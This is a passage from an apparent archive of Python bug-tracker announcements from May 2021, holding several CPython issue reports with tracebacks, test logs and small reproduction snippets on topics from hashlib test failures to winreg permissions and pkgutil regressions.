0:00:16 load avg: 2.13 [ 4/44] test_binop
0:00:17 load avg: 2.13 [ 5/44] test_bisect
0:00:18 load avg: 2.13 [ 6/44] test_bytes
0:01:18 load avg: 1.41 [ 7/44] test_bz2 -- test_bytes passed in 1 min
0:01:25 load avg: 1.35 [ 8/44] test_cmath
0:01:28 load avg: 1.35 [ 9/44] test_codecs
0:01:52 load avg: 1.23 [10/44] test_collections
0:02:10 load avg: 1.16 [11/44] test_complex
0:02:16 load avg: 1.15 [12/44] test_dataclasses
0:02:23 load avg: 1.14 [13/44] test_datetime
0:03:18 load avg: 1.09 [14/44] test_decimal -- test_datetime passed in 54.9 sec
0:05:06 load avg: 1.01 [15/44] test_difflib -- test_decimal passed in 1 min 47 sec
0:05:24 load avg: 1.01 [16/44] test_embed
0:05:27 load avg: 1.01 [17/44] test_float
0:05:32 load avg: 1.01 [18/44] test_fstring
0:05:43 load avg: 1.00 [19/44] test_functools
0:05:47 load avg: 1.00 [20/44] test_generators
0:05:51 load avg: 1.00 [21/44] test_hashlib
Fatal Python error: Bus error

Current thread 0xf7901220 (most recent call first):
  File "/<<PKGBUILDDIR>>/Lib/test/test_hashlib.py", line 842 in test_gil
  File "/<<PKGBUILDDIR>>/Lib/unittest/case.py", line 549 in _callTestMethod
  File "/<<PKGBUILDDIR>>/Lib/unittest/case.py", line 592 in run
  File "/<<PKGBUILDDIR>>/Lib/unittest/case.py", line 652 in __call__
  File "/<<PKGBUILDDIR>>/Lib/unittest/suite.py", line 122 in run
  File "/<<PKGBUILDDIR>>/Lib/unittest/suite.py", line 84 in __call__
  File "/<<PKGBUILDDIR>>/Lib/unittest/suite.py", line 122 in run
  File "/<<PKGBUILDDIR>>/Lib/unittest/suite.py", line 84 in __call__
  File "/<<PKGBUILDDIR>>/Lib/unittest/suite.py", line 122 in run
  File "/<<PKGBUILDDIR>>/Lib/unittest/suite.py", line 84 in __call__
  File "/<<PKGBUILDDIR>>/Lib/test/support/testresult.py", line 169 in run
  File "/<<PKGBUILDDIR>>/Lib/test/support/__init__.py", line 959 in _run_suite
  File "/<<PKGBUILDDIR>>/Lib/test/support/__init__.py", line 1082 in run_unittest
  File "/<<PKGBUILDDIR>>/Lib/test/libregrtest/runtest.py", line 210 in _test_module
  File "/<<PKGBUILDDIR>>/Lib/test/libregrtest/runtest.py", line 246 in _runtest_inner2
  File "/<<PKGBUILDDIR>>/Lib/test/libregrtest/runtest.py", line 282 in _runtest_inner
  File "/<<PKGBUILDDIR>>/Lib/test/libregrtest/runtest.py", line 154 in _runtest
  File "/<<PKGBUILDDIR>>/Lib/test/libregrtest/runtest.py", line 194 in runtest
  File "/<<PKGBUILDDIR>>/Lib/test/libregrtest/main.py", line 423 in run_tests_sequential
  File "/<<PKGBUILDDIR>>/Lib/test/libregrtest/main.py", line 521 in run_tests
  File "/<<PKGBUILDDIR>>/Lib/test/libregrtest/main.py", line 694 in _main
  File "/<<PKGBUILDDIR>>/Lib/test/libregrtest/main.py", line 641 in main
  File "/<<PKGBUILDDIR>>/Lib/test/libregrtest/main.py", line 719 in main
  File "/<<PKGBUILDDIR>>/Lib/test/__main__.py", line 2 in <module>
  File "/<<PKGBUILDDIR>>/Lib/runpy.py", line 86 in _run_code
  File "/<<PKGBUILDDIR>>/Lib/runpy.py", line 196 in _run_module_as_main
```

----------
components: Build
messages: 392973
nosy: Anthony Sottile
priority: normal
severity: normal
status: open
title: 3.10 b1 armhf Bus Error in hashlib test: test_gil
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44043>
_______________________________________

From report at bugs.python.org  Wed May  5 02:48:11 2021
From: report at bugs.python.org (=?utf-8?q?J=C3=BCrgen_Gmach?=)
Date: Wed, 05 May 2021 06:48:11 +0000
Subject: [New-bugs-announce] [issue44044] ConfigParser: cannot link to
 ConfigParser.optionxform(option)
Message-ID: <1620197291.49.0.201849852188.issue44044@roundup.psfhosted.org>


New submission from J?rgen Gmach <juergen.gmach at googlemail.com>:

I wanted to copy a hyperlink to the documentation section for ConfigParser's optionxform method, but in https://docs.python.org/3/library/configparser.html you cannot link to this one section, as the paragraph was marked with `:noindex:` via https://github.com/python/cpython/pull/21859 / bpo-40204

The `:noindex:` workaround was introduced to silence doc build errors which came with a new Sphinx version.

Without the workaround, you get errors like...

P.S.: I uploaded a screenshot of the documentation section showing the heading before optionxform has a permalink, optionsxform does not.


Warning, treated as error:
/home/jugmac00/Projects/cpython/Doc/library/configparser.rst:1170:duplicate object description of configparser.ConfigParser.optionxform, other instance in library/configparser, use :noindex: for one of them
Makefile:49: recipe for target 'build' failed
make: *** [build] Error 2

Looks like a possible fix to this problem would involve a major restructuring of the configparser documentation, to avoid the "duplicated object description".

Maybe there is a simpler solution?

----------
assignee: docs at python
components: Documentation
files: Screenshot from 2021-05-05 08-46-05.png
messages: 392977
nosy: docs at python, jugmac00
priority: normal
severity: normal
status: open
title: ConfigParser: cannot link to ConfigParser.optionxform(option)
Added file: https://bugs.python.org/file50014/Screenshot from 2021-05-05 08-46-05.png

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44044>
_______________________________________

From report at bugs.python.org  Wed May  5 02:55:02 2021
From: report at bugs.python.org (=?utf-8?q?J=C3=BCrgen_Gmach?=)
Date: Wed, 05 May 2021 06:55:02 +0000
Subject: [New-bugs-announce] [issue44045] canonicalize "upper-case" ->
 "uppercase"; "lower-case" -> "lowercase"
Message-ID: <1620197702.64.0.842506746394.issue44045@roundup.psfhosted.org>


New submission from J?rgen Gmach <juergen.gmach at googlemail.com>:

Yesterday, I was bitten by ConfigParser' default behavior to lowercase keys on reading.

When I looked in the documentation and the source code, I found that lowercase was sometimes written as "lower-case", e.g. here 
https://docs.python.org/3/library/configparser.html#configparser.ConfigParser.optionxform

The webster dictionary only accepts "lowercase" as a valid English word:
https://www.merriam-webster.com/dictionary/lowercase

Before I wanted to create a pull request for this one, I also grepped the complete source code with the following result:

lower-case    24
lowercase    207
upper-case     9
uppercase    201

I'd like to create a pull request which canonicalizes the writing to a consistent "lowercase" resp. "uppercase".

Is there any core dev out there willing to review / merge this kind of PR?

----------
messages: 392978
nosy: jugmac00
priority: normal
severity: normal
status: open
title: canonicalize "upper-case" -> "uppercase"; "lower-case" -> "lowercase"

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44045>
_______________________________________

From report at bugs.python.org  Wed May  5 03:28:48 2021
From: report at bugs.python.org (Paul)
Date: Wed, 05 May 2021 07:28:48 +0000
Subject: [New-bugs-announce] [issue44046] When writing to the Registry using
 winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS.
Message-ID: <1620199728.07.0.7391681228.issue44046@roundup.psfhosted.org>


New submission from Paul <paulenet at gmail.com>:

DETAILS:
"[WinError 5] Access is denied" error is thrown when user attempts to use a different Registry hive other than HKEY_CURRENT_USER.  The first example below will demonstrate that the code snippet works just fine and is implemented correctly.  However, when you try to run the exact same snippet, but with it pointed to HKEY_LOCAL_MACHINE, it will throw "[WinError 5] Access is denied" error.  I have seen plenty of variant examples on how you are supposed to write to the Registry, but when you attempt to do so to other hives, it simply does NOT work.  Complete demonstration below of it working, and not working...

# WORKING example:
registry = winreg.ConnectRegistry(None, winreg.HKEY_CURRENT_USER)
wholeKey = winreg.OpenKey(registry, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 0, winreg.KEY_ALL_ACCESS | winreg.KEY_WOW64_64KEY)
winreg.SetValue(wholeKey, 'AutoAdminLogon', winreg.REG_SZ, '1')
winreg.CloseKey(wholeKey)


# NON-WORKING example:
registry = winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE)
wholeKey = winreg.OpenKey(registry, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 0, winreg.KEY_ALL_ACCESS | winreg.KEY_WOW64_64KEY)
winreg.SetValue(wholeKey, 'AutoAdminLogon', winreg.REG_SZ, '1')
winreg.CloseKey(wholeKey)

----------
messages: 392982
nosy: paulenet
priority: normal
severity: normal
status: open
title: When writing to the Registry using winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS.
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44046>
_______________________________________

From report at bugs.python.org  Wed May  5 06:51:17 2021
From: report at bugs.python.org (Erlend Egeberg Aasland)
Date: Wed, 05 May 2021 10:51:17 +0000
Subject: [New-bugs-announce] [issue44047] [sqlite3] remove unused argument
 from _pysqlite_seterror()
Message-ID: <1620211877.75.0.0509682877779.issue44047@roundup.psfhosted.org>


New submission from Erlend Egeberg Aasland <erlend.aasland at innova.no>:

Suggesting to remove the statement pointer argument from _pysqlite_seterror(), as it has been unused since commit 525269430a3f9fbb7287e4bb6b365ac216004980.

----------
components: Extension Modules
messages: 393001
nosy: berker.peksag, erlendaasland, serhiy.storchaka
priority: normal
severity: normal
status: open
title: [sqlite3] remove unused argument from _pysqlite_seterror()
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44047>
_______________________________________

From report at bugs.python.org  Wed May  5 07:09:23 2021
From: report at bugs.python.org (Charalampos Stratakis)
Date: Wed, 05 May 2021 11:09:23 +0000
Subject: [New-bugs-announce] [issue44048] test_hashlib failure for "AMD64
 RHEL8 FIPS Only Blake2 Builtin Hash" buildbot
Message-ID: <1620212963.3.0.83252428059.issue44048@roundup.psfhosted.org>


New submission from Charalampos Stratakis <cstratak at redhat.com>:

The buildbot started experiencing some failures. First after https://github.com/python/cpython/commit/ddbef71a2c166a5d5dd168e26493973053a953d6 this test started failing with:

======================================================================
ERROR: test_disallow_instantiation (test.test_hashlib.HashLibTestCase)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-fips-x86_64.no-builtin-hashes-except-blake2/build/Lib/hashlib.py", line 160, in __hash_new
    return _hashlib.new(name, data, **kwargs)
ValueError: [digital envelope routines: EVP_DigestInit_ex] disabled for FIPS
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-fips-x86_64.no-builtin-hashes-except-blake2/build/Lib/test/test_hashlib.py", line 912, in test_disallow_instantiation
    h = constructor()
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-fips-x86_64.no-builtin-hashes-except-blake2/build/Lib/test/test_hashlib.py", line 133, in _test_algorithm_via_hashlib_new
    return hashlib.new(_alg, **kwargs)
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-fips-x86_64.no-builtin-hashes-except-blake2/build/Lib/hashlib.py", line 166, in __hash_new
    return __get_builtin_constructor(name)(data)
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-fips-x86_64.no-builtin-hashes-except-blake2/build/Lib/hashlib.py", line 123, in __get_builtin_constructor
    raise ValueError('unsupported hash type ' + name)
ValueError: unsupported hash type md5


And then after https://github.com/python/cpython/commit/91554e4c5ca3c762998296522f854a7166ba84f0 there is another failure:

======================================================================
ERROR: test_readonly_types (test.test_hashlib.HashLibTestCase)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-fips-x86_64.no-builtin-hashes-except-blake2/build/Lib/hashlib.py", line 160, in __hash_new
    return _hashlib.new(name, data, **kwargs)
ValueError: [digital envelope routines: EVP_DigestInit_ex] disabled for FIPS
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-fips-x86_64.no-builtin-hashes-except-blake2/build/Lib/test/test_hashlib.py", line 933, in test_readonly_types
    hash_type = type(constructor())
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-fips-x86_64.no-builtin-hashes-except-blake2/build/Lib/test/test_hashlib.py", line 133, in _test_algorithm_via_hashlib_new
    return hashlib.new(_alg, **kwargs)
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-fips-x86_64.no-builtin-hashes-except-blake2/build/Lib/hashlib.py", line 166, in __hash_new
    return __get_builtin_constructor(name)(data)
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-fips-x86_64.no-builtin-hashes-except-blake2/build/Lib/hashlib.py", line 123, in __get_builtin_constructor
    raise ValueError('unsupported hash type ' + name)
ValueError: unsupported hash type md5

----------
assignee: christian.heimes
components: SSL
messages: 393003
nosy: christian.heimes, cstratak
priority: normal
severity: normal
status: open
title: test_hashlib failure for "AMD64 RHEL8 FIPS Only Blake2 Builtin Hash" buildbot
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44048>
_______________________________________

From report at bugs.python.org  Wed May  5 08:10:58 2021
From: report at bugs.python.org (Dong-hee Na)
Date: Wed, 05 May 2021 12:10:58 +0000
Subject: [New-bugs-announce] [issue44049] Use C99 Variable-length array if
 possible
Message-ID: <1620216658.8.0.390756797773.issue44049@roundup.psfhosted.org>


New submission from Dong-hee Na <donghee.na at python.org>:

I had a chance to read Python/suggestion.c and I can notice that we use the static declared size of the array.

Since we live in the C99 era and the CPython codebase already uses C99(struct initialization is a good example), how about using the C99 feature if possible.

We should care about stack overflow from the big input but with the expected very small input size it will be okay to use.

-    static size_t buffer[MAX_STRING_SIZE];
-
     // Both strings are the same (by identity)
     if (a == b) {
         return 0;
@@ -68,6 +66,8 @@ levenshtein_distance(const char *a, size_t a_size,
         size_t t_size = a_size; a_size = b_size; b_size = t_size;
     }

+    size_t buffer[a_size];
+
     // quick fail when a match is impossible.
     if ((b_size - a_size) * MOVE_COST > max_cost) {
         return max_cost + 1

----------
messages: 393006
nosy: corona10, pablogsal, vstinner
priority: normal
severity: normal
status: open
title: Use C99 Variable-length array if possible
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44049>
_______________________________________

From report at bugs.python.org  Wed May  5 10:22:11 2021
From: report at bugs.python.org (Trygve Aaberge)
Date: Wed, 05 May 2021 14:22:11 +0000
Subject: [New-bugs-announce] [issue44050] Exceptions in a subinterpreter are
 changed by another subinterpreter
Message-ID: <1620224531.72.0.42100874633.issue44050@roundup.psfhosted.org>


New submission from Trygve Aaberge <trygveaa at gmail.com>:

This issue is a regression in Python 3.9. It was recently fixed in main/3.10, but I'm opening this issue to request that it is fixed in 3.9 as well since it breaks certain Python scripts running in WeeChat.

I have a C application which is using the Python/C API and is running multiple python subinterpreters. One of those subinterpreters is running a script which is reading data from a non-blocking ssl socket. When there is no more data to read, trying to read throws `ssl.SSLWantReadError` which is handled by the script. However, if a script in another subinterpreter imports _ssl, the SSLWantReadError exceptions thrown in the first script now have a different class instance, so they are not catched anymore.

This is a regression in 3.9. It didn't happen in 3.8. The commit that introduced the issue is https://github.com/python/cpython/commit/82c83bd907409c287a5bd0d0f4598f2c0538f34d
The commit that fixes the issue in 3.10 is https://github.com/python/cpython/commit/7f1305ef9ea7234e1a5aacbea17490232e9b7dc2

I have attached a C program to reproduce the issue. It seems I can only attach one file per comment, so the python script that program runs will follow in the next commit. It connects to an ssl socket, so you need to have that running first. That can be started by running this:

```
openssl req -x509 -nodes -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -subj '/'
openssl s_server -key key.pem -cert cert.pem -accept 1234
```

The script will output this when the issue is not present (so in 3.8 and main):
```
no data
no data
```

And this when the issue is present (in 3.9):
```
no dataunknown error: The operation did not complete (read) (_ssl.c:2627)
exception name: SSLWantReadError
SSLWantReadError id: 93893206532320
exception id: 93893207118800
```

----------
components: Subinterpreters
files: interpreter.c
messages: 393011
nosy: trygveaa
priority: normal
severity: normal
status: open
title: Exceptions in a subinterpreter are changed by another subinterpreter
type: behavior
versions: Python 3.9
Added file: https://bugs.python.org/file50015/interpreter.c

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44050>
_______________________________________

From report at bugs.python.org  Wed May  5 12:04:21 2021
From: report at bugs.python.org (baptistecrepin)
Date: Wed, 05 May 2021 16:04:21 +0000
Subject: [New-bugs-announce] [issue44051] Virtualalloc wrong return type
Message-ID: <1620230661.56.0.17301219243.issue44051@roundup.psfhosted.org>


Change by baptistecrepin <baptiste.crepin at ntymail.com>:


----------
components: Windows
nosy: baptistecrepin, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Virtualalloc wrong return type
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44051>
_______________________________________

From report at bugs.python.org  Thu May  6 02:43:06 2021
From: report at bugs.python.org (Pierre Ossman)
Date: Thu, 06 May 2021 06:43:06 +0000
Subject: [New-bugs-announce] [issue44052] patch object as argument should be
 explicit
Message-ID: <1620283386.4.0.215210268869.issue44052@roundup.psfhosted.org>


New submission from Pierre Ossman <ossman at cendio.se>:

Right now if you use unittest.mock.patch() as a decorator it may or may not pass the object as an argument to the test function. The behaviour is a side effect of the argument "new" rather than something the caller can explicitly control.

In many cases this gives the desired behaviour, but not in all. So this behaviour should be possible to explicitly controlled.

One common case is when using patch() as a class decorator. If you want to avoid getting extra arguments to every test function, then "new" has to be specified. But that means that it will be the same object that will be used for every test, not a fresh one.

E.g.

@patch('foo.bar.baz', [])
class TestCases(unittest.TestCase):
    def test_a(self):
        ...
    def test_b(self):
        ...
    def test_c(self):
        ...

The tests will now be running with the same list in "foo.bar.baz" rather than a fresh empty list for each run. Ideally we could instead specify:

@patch('foo.bar.baz', new_callable=list, as_arg=False)
class TestCases(unittest.TestCase):
    def test_a(self):
        ...
    def test_b(self):
        ...
    def test_c(self):
        ...

Or something along those lines.

----------
components: Library (Lib)
messages: 393062
nosy: CendioOssman
priority: normal
severity: normal
status: open
title: patch object as argument should be explicit

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44052>
_______________________________________

From report at bugs.python.org  Thu May  6 03:05:11 2021
From: report at bugs.python.org (Muqaddas Rasheed)
Date: Thu, 06 May 2021 07:05:11 +0000
Subject: [New-bugs-announce] [issue44053] Can't connect to a server also not
 showing any type of output
Message-ID: <1620284711.4.0.891805853778.issue44053@roundup.psfhosted.org>


Change by Muqaddas Rasheed <muqadasrasheed652 at gmail.com>:


----------
nosy: muqadasrasheed652
priority: normal
severity: normal
status: open
title: Can't connect to a server also not showing any type of output

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44053>
_______________________________________

From report at bugs.python.org  Thu May  6 05:47:53 2021
From: report at bugs.python.org (Stefan Behnel)
Date: Thu, 06 May 2021 09:47:53 +0000
Subject: [New-bugs-announce] [issue44054] 2**53+1  != float(2**53+1)
Message-ID: <1620294473.58.0.212364469829.issue44054@roundup.psfhosted.org>


New submission from Stefan Behnel <stefan_ml at behnel.de>:

I'm not sure if I should consider this a bug, but I'd at least frown at the behaviour, so I thought I'd bring this up here.

Python 3.8.5 (default, Jan 27 2021, 15:41:15) 
[GCC 9.3.0] on linux
>>> 2**53 == float(2**53)
True
>>> float(2**53+1) == float(2**53+1)
True
>>> 2**53+1 == float(2**53+1)
False

This probably has something to do with the 52bit exponent of double precision floats. But the way I would have expected this to work is that a comparison of an integer to a float would first convert the integer to a float, and then compare the two floating point values. That's also what the code says. However, comparing the actual two floating point values gives the expected result, whereas letting the comparison do the conversion internally leads to a different outcome. The code in float_richcompare() uses a vastly more complex implementation than PyLong_AsDouble(), which is likely the reason for this difference in behaviour.

I found this on the system Python on 64bit Ubuntu 20.04, but also tried with a self-built 3.10a7+, giving the same result. I'm only setting the target to 3.10/11 since a potential behavioural change would likely not find its way back to 3.9 and earlier any more.

----------
messages: 393077
nosy: mark.dickinson, rhettinger, scoder
priority: normal
severity: normal
status: open
title: 2**53+1  != float(2**53+1)
type: behavior
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44054>
_______________________________________

From report at bugs.python.org  Thu May  6 06:47:41 2021
From: report at bugs.python.org (=?utf-8?q?Lum=C3=ADr_Balhar?=)
Date: Thu, 06 May 2021 10:47:41 +0000
Subject: [New-bugs-announce] [issue44055] NamedTemporaryFile opened twice on
 Windows
Message-ID: <1620298061.75.0.605371745552.issue44055@roundup.psfhosted.org>


New submission from Lum?r Balhar <frenzy.madness at gmail.com>:

Hello.

The documentation about tempfile.NamedTemporaryFile[0] contains:

That name can be retrieved from the name attribute of the returned file-like object. Whether the name can be used to open the file a second time, while the named temporary file is still open, varies across platforms (it can be so used on Unix; it cannot on Windows NT or later).

But after some testing on Windows, it seems that there is no problem in opening a temporary file for the second time. A simple reproducer:

from tempfile import NamedTemporaryFile
?
# Open the file for the first time
tmp_file = NamedTemporaryFile(mode="w+", delete=False)
tmp_file.write("foo")
tmp_file.seek(0)
content_original = tmp_file.read()
print("Original content:", content_original)
?
# Open the file for the second time
with open(tmp_file.name, mode="w+") as file:
    file.write("bar")
    file.seek(0)
    content = file.read()
    print("Updated content:", content)

The output is:

Original content: foo
Updated content: bar

So the question is: do I misunderstand the documentation? Or is there any automatic magic handling this on Windows?

I'm not a windows user and I've found this accidentally when preparing a Windows CI job for a project.

[0] https://docs.python.org/3/library/tempfile.html?highlight=namedtemporaryfile#tempfile.NamedTemporaryFile

----------
assignee: docs at python
components: Documentation, Windows
messages: 393082
nosy: docs at python, frenzy, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: NamedTemporaryFile opened twice on Windows
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44055>
_______________________________________

From report at bugs.python.org  Thu May  6 07:31:28 2021
From: report at bugs.python.org (Mark Shannon)
Date: Thu, 06 May 2021 11:31:28 +0000
Subject: [New-bugs-announce] [issue44056] Incorrect line number for syntax
 error.
Message-ID: <1620300688.24.0.928024360805.issue44056@roundup.psfhosted.org>


New submission from Mark Shannon <mark at hotpy.org>:

Consider this function, which has a syntax error on line 4.

>>> def f():
...     try: 
...         1/0
...     except:
...         pass
...     except Exception: 
...         pass

3.9 reports an incorrect line number of 3.
3.10b reports an even more incorrect line number of -1.

Although I've marked this as a "Parser" bug, the offending code is in the compiler.

For 3.11, this is fixed by https://github.com/python/cpython/pull/25729

----------
assignee: Mark.Shannon
components: Parser
messages: 393083
nosy: Mark.Shannon, lys.nikolaou, pablogsal
priority: release blocker
severity: normal
stage: needs patch
status: open
title: Incorrect line number for syntax error.
type: behavior
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44056>
_______________________________________

From report at bugs.python.org  Thu May  6 07:48:19 2021
From: report at bugs.python.org (Erez Zinman)
Date: Thu, 06 May 2021 11:48:19 +0000
Subject: [New-bugs-announce] [issue44057] Inconsitencies in
 `__init_subclass__` in a generic class
Message-ID: <1620301699.13.0.690362805171.issue44057@roundup.psfhosted.org>


New submission from Erez Zinman <erezinman.programmer at gmail.com>:

The following behavior was witnessed in v3.6 & v3.8.

When deriving from a Generic base class, there's an inconsistency in the order of operation within the `__new__()` function between the case of deriving WITH generic-argument specification and WITHOUT.

It might be best explained in the following example:

```
import typing

T = typing.TypeVar('T')
class Base(typing.Generic[T]):
    some_attribute: typing.Any

    def __init_subclass__(cls, **kwargs):
        assert hasattr(cls, 'some_attribute')

class Class1(Base):       # OK
    some_attribute = 123  

class Class2(Base[int]):  # AssertionError
    some_attribute = 123  
```

In this examples, the base class implements `__init_subclass__` to ensure that sublclasses define an attribute. In the case of `Class1`, the class derives without specifying the type-arguments for the class. In that case, the `__init_subclass__` is called after the `some_attribute` is defined. In the second case, however, because I pass the `int` type-argument to the base-class, for some reason `__init_subclass__` is called BEFORE the class' definition.

----------
components: Interpreter Core, Library (Lib)
messages: 393085
nosy: erezinman
priority: normal
severity: normal
status: open
title: Inconsitencies in `__init_subclass__` in a generic class
versions: Python 3.6, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44057>
_______________________________________

From report at bugs.python.org  Thu May  6 10:10:15 2021
From: report at bugs.python.org (Skip Montanaro)
Date: Thu, 06 May 2021 14:10:15 +0000
Subject: [New-bugs-announce] [issue44058] 'master' refs in 3.10 version of
 .azure-pipelines
Message-ID: <1620310215.23.0.147753243163.issue44058@roundup.psfhosted.org>


New submission from Skip Montanaro <skip.montanaro at gmail.com>:

Should these references to "master" be changed to "main"?

% git co 3.10
Switched to branch '3.10'
Your branch is up to date with 'origin/3.10'.
% egrep master .azure-pipelines/*
.azure-pipelines/ci.yml:trigger: ['master', '3.10', '3.9', '3.8', '3.7']
.azure-pipelines/pr.yml:pr: ['master', '3.10', '3.9', '3.8', '3.7']

----------
messages: 393092
nosy: skip.montanaro
priority: normal
severity: normal
status: open
title: 'master' refs in 3.10 version of .azure-pipelines
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44058>
_______________________________________

From report at bugs.python.org  Thu May  6 10:44:55 2021
From: report at bugs.python.org (Linus Groh)
Date: Thu, 06 May 2021 14:44:55 +0000
Subject: [New-bugs-announce] [issue44059] Support SerenityOS Browser in
 webbrowser module
Message-ID: <1620312295.06.0.319620249186.issue44059@roundup.psfhosted.org>


New submission from Linus Groh <mail at linusgroh.de>:

SerenityOS [1] maintains its own port of Python (currently 3.9.5) [2], with increasingly fewer custom patches. It has its own webbrowser (called "Browser") [3][4], which is the only browser installed by default - as a result, webbrowser.open() currently does not work out of the box. However, register()'ing the browser was straightforward [5]. The goal of this issue is to get that patch into upstream Python.


[1] github.com/SerenityOS/serenity
[2] https://github.com/SerenityOS/serenity/blob/master/Ports/python3
[3] https://github.com/SerenityOS/serenity/tree/master/Userland/Applications/Browser
[4] https://github.com/SerenityOS/serenity/blob/master/Documentation/Browser/ProcessArchitecture.md
[5] https://github.com/SerenityOS/serenity/commit/9f970c3459be761c6d1ac192eb494d630b4ca1ed

----------
components: Library (Lib)
messages: 393095
nosy: linusg
priority: normal
severity: normal
status: open
title: Support SerenityOS Browser in webbrowser module
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44059>
_______________________________________

From report at bugs.python.org  Thu May  6 11:09:57 2021
From: report at bugs.python.org (Skip Montanaro)
Date: Thu, 06 May 2021 15:09:57 +0000
Subject: [New-bugs-announce] [issue44060] Define TARGET macro the same even
 when computed goto support is not enabled
Message-ID: <1620313797.79.0.147894206255.issue44060@roundup.psfhosted.org>


New submission from Skip Montanaro <skip.montanaro at gmail.com>:

When the interpreter is compiled?with computed goto support, the TARGET macro is defined like this:

#define TARGET(op) op: TARGET_##op

If computed gotos are disabled, the implementation is simpler:

#define TARGET(op) op

I'm finding it useful to use those labels as gdb breakpoint targets. Is there some reason not to always define the TARGET_##op label?

----------
components: Interpreter Core
messages: 393099
nosy: skip.montanaro
priority: normal
severity: normal
status: open
title: Define TARGET macro the same even when computed goto support is not enabled
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44060>
_______________________________________

From report at bugs.python.org  Thu May  6 13:54:01 2021
From: report at bugs.python.org (Rikard Nordgren)
Date: Thu, 06 May 2021 17:54:01 +0000
Subject: [New-bugs-announce] [issue44061] Regression in pkgutil:
 iter_modules stopped taking Path argument in python 3.8.10 and 3.9.5
Message-ID: <1620323641.82.0.334230031538.issue44061@roundup.psfhosted.org>


New submission from Rikard Nordgren <rikard.nordgren at gmail.com>:

The pkgutil.iter_modules crash when using Path object in the first argument. The code below works in python 3.8.9 and 3.9.4, but stopped working in python 3.8.10 and 3.9.5. Changing from Path to str works in all versions.


import pkgutil
from pathlib import Path

for _, modname, ispkg in pkgutil.iter_modules([Path("/home")], 'somepackage.somesubpackage'):
        print(modname, ispkg)


Error message from python 3.8.10 (other path was used):

Traceback (most recent call last):
  File "/home/devel/Python-3.8.10/Lib/pkgutil.py", line 415, in get_importer
    importer = sys.path_importer_cache[path_item]
KeyError: PosixPath('/home/devel/pharmpy/src/pharmpy/plugins')

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "pyissue.py", line 5, in <module>
    for _, modname, ispkg in pkgutil.iter_modules([Path("/home/devel/pharmpy/src/pharmpy/plugins")], 'pharmpy.plugins'):
  File "/home/devel/Python-3.8.10/Lib/pkgutil.py", line 129, in iter_modules
    for i in importers:
  File "/home/devel/Python-3.8.10/Lib/pkgutil.py", line 419, in get_importer
    importer = path_hook(path_item)
  File "<frozen importlib._bootstrap_external>", line 1594, in path_hook_for_FileFinder
  File "<frozen importlib._bootstrap_external>", line 1469, in __init__
  File "<frozen importlib._bootstrap_external>", line 177, in _path_isabs
AttributeError: 'PosixPath' object has no attribute 'startswith'

----------
components: Library (Lib)
messages: 393120
nosy: rikard.nordgren
priority: normal
severity: normal
status: open
title: Regression in pkgutil: iter_modules stopped taking Path argument in python 3.8.10 and 3.9.5
type: crash
versions: Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44061>
_______________________________________

From report at bugs.python.org  Thu May  6 14:23:43 2021
From: report at bugs.python.org (Vincent Fazio)
Date: Thu, 06 May 2021 18:23:43 +0000
Subject: [New-bugs-announce] [issue44062] cross: wrong interpreter returned
 when no python available
Message-ID: <1620325423.31.0.521793451842.issue44062@roundup.psfhosted.org>


New submission from Vincent Fazio <vfazio at gmail.com>:

When trying to cross compile python3.9, `configure` attempts to find a strict python 3.9 version match, however if it fails it still attempts to use `python` in PYTHON_FOR_BUILD instead of failing outright like the code implies it should

$/python3/targetbuild# which python3.9 python3 python
/usr/bin/python3

$/python3/targetbuild# python3 --version
Python 3.7.3

$/python3/targetbuild# PYTHON_FOR_REGEN=/python3/hostbuild/python \
